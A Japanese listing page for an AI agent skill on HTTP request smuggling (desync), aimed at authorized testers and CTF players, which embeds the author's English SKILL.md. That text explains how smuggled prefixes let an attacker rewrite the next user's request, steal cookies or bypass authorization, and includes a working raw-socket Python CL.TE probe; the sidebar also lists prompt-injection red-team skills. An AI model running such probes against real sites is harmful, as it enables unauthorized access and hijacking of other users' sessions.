smuggling
できること
このスキルは、フロントのプロキシとバックのサーバーが、リクエストの終わりについて食い違う場合に起きるHTTPリクエストスマグリングを説明します。許可された対象を扱うセキュリティテスター向けです。
使う場面
- ✓サイトがプロキシやCDNの背後にあり、両者がリクエストを異なる方法で解析していると疑うとき。
- ✓チャレンジのタグがリクエストスマグリングやデシンクを示しているとき。
- ✓他の攻撃を試す前に、デシンクを確かめるチェックリストが欲しいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私のサイトのCDNとサーバーが、HTTPリクエストの読み方で食い違っていないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、長さやエンコードのヘッダーが矛盾した、慎重に作ったリクエストを送ります。その後、同じ接続での次のリクエストが影響を受けた兆候がないかを確認します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
HTTP Request Smuggling (Desync)
Exploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN/proxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the "smuggled" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies/headers, or hit auth-bypassed routes.
When This Skill Is Primary
HRS bypasses authentication and authorization at the front-end/back-end boundary — it does NOT need correct credentials. When smuggling_desync (or request_smuggling / hrs / desync) co-occurs with credential-related tags (default_credentials, jwt, weak_password), smuggling IS the primary attack vector. Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE.
Reasoning: a CTF that ships both tags is signaling "you have a low-priv account (test:test, etc.) — use it as your session anchor and bypass the role check via parser disagreement." Burning the time budget on admin:* brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request.
The same logic applies when smuggling_desync co-occurs with cve (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 / pause-based desync below).
Recognition Signals
Trigger this skill when ANY of the following are present:
- Multi-proxy stack visible: two
Server:strings across responses (e.g.cloudflarethengunicorn);Via:header present; CDN/edge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly). - Differential 400/501 when sending duplicate/obfuscated
Transfer-EncodingorContent-Lengthheaders (one path 200, another 400/501). - HTTP/2 frontend with HTTP/1.1 backend (
alt-svc: h2,:statuspseudo-header,HTTP/2ALPN). Downgrades are the modern smuggling surface. - Pipelining differences: connection reused across requests with inconsistent framing.
- Challenge tag includes
smuggling_desync,request_smuggling,hrs,desync, or recon's "Frontend behavior" line says "frontend forwards malformed framing". - Recon handoff notes that the same payload yields different status codes when sent to different proxy hops or with different framing.
Confirm-Desync Gate
STOP. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer.
timeout 60 python3 -u -c '
import socket, sys
HOST, PORT = "<TARGET>", 443 # use 80 for plain HTTP
USE_TLS = (PORT == 443)
# CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding.
# A real desync makes the back-end park "X" as the start of the NEXT request on this socket.
smuggle = (
"POST / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"Content-Length: 6\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"X" # the smuggled prefix
)
victim = (
"GET / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"\r\n"
)
s = socket.create_connection((HOST, PORT), timeout=5)
if USE_TLS:
import ssl
s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
s.settimeout(5)
s.sendall(smuggle.encode() + victim.encode())
buf = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
if len(buf) > 16384:
break
except socket.timeout:
pass
finally:
s.close()
# Desync signal: victim request fails with 400/405 because "XGET" landed at backend.
# Baseline GET / on the same target returns 200 — so 400/405 here is the smoke.
sys.stdout.write(buf[:2048].decode(errors="replace"))
sys.stdout.flush()
' 2>&1 | tee smuggle_gate.txt
Pass criteria (any one):
- Second response shows
400 Bad RequestcontainingXGET/Invalid method/bad request line. - Connection closes after the first response with the second never sent (back-end ate the smuggled bytes).
- Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped.
If gate FAILS (no pass criteria met before the harness's out
よくある質問
CL.TEとTE.CLとは何ですか?
プロキシとサーバーがリクエストの長さを異なる方法で読む、2つの矛盾したパターンの名前です。Content-LengthヘッダーとTransfer-Encodingヘッダーを使います。
ログイン情報が必要ですか?
スキルによると、スマグリングは境界でアクセス確認を回避でき、権限の低いテスト用アカウントを外側のセッションとして使えます。
ツールは含まれていますか?
はい。標準のsmugglerツールがサンドボックスで使えないため、小さな生ソケットのテストスクリプトを含んでいます。
詳細
作者による元の説明
HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).
人気
- GitHubのスター
- 6.5k
- ランキング
- #14079
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。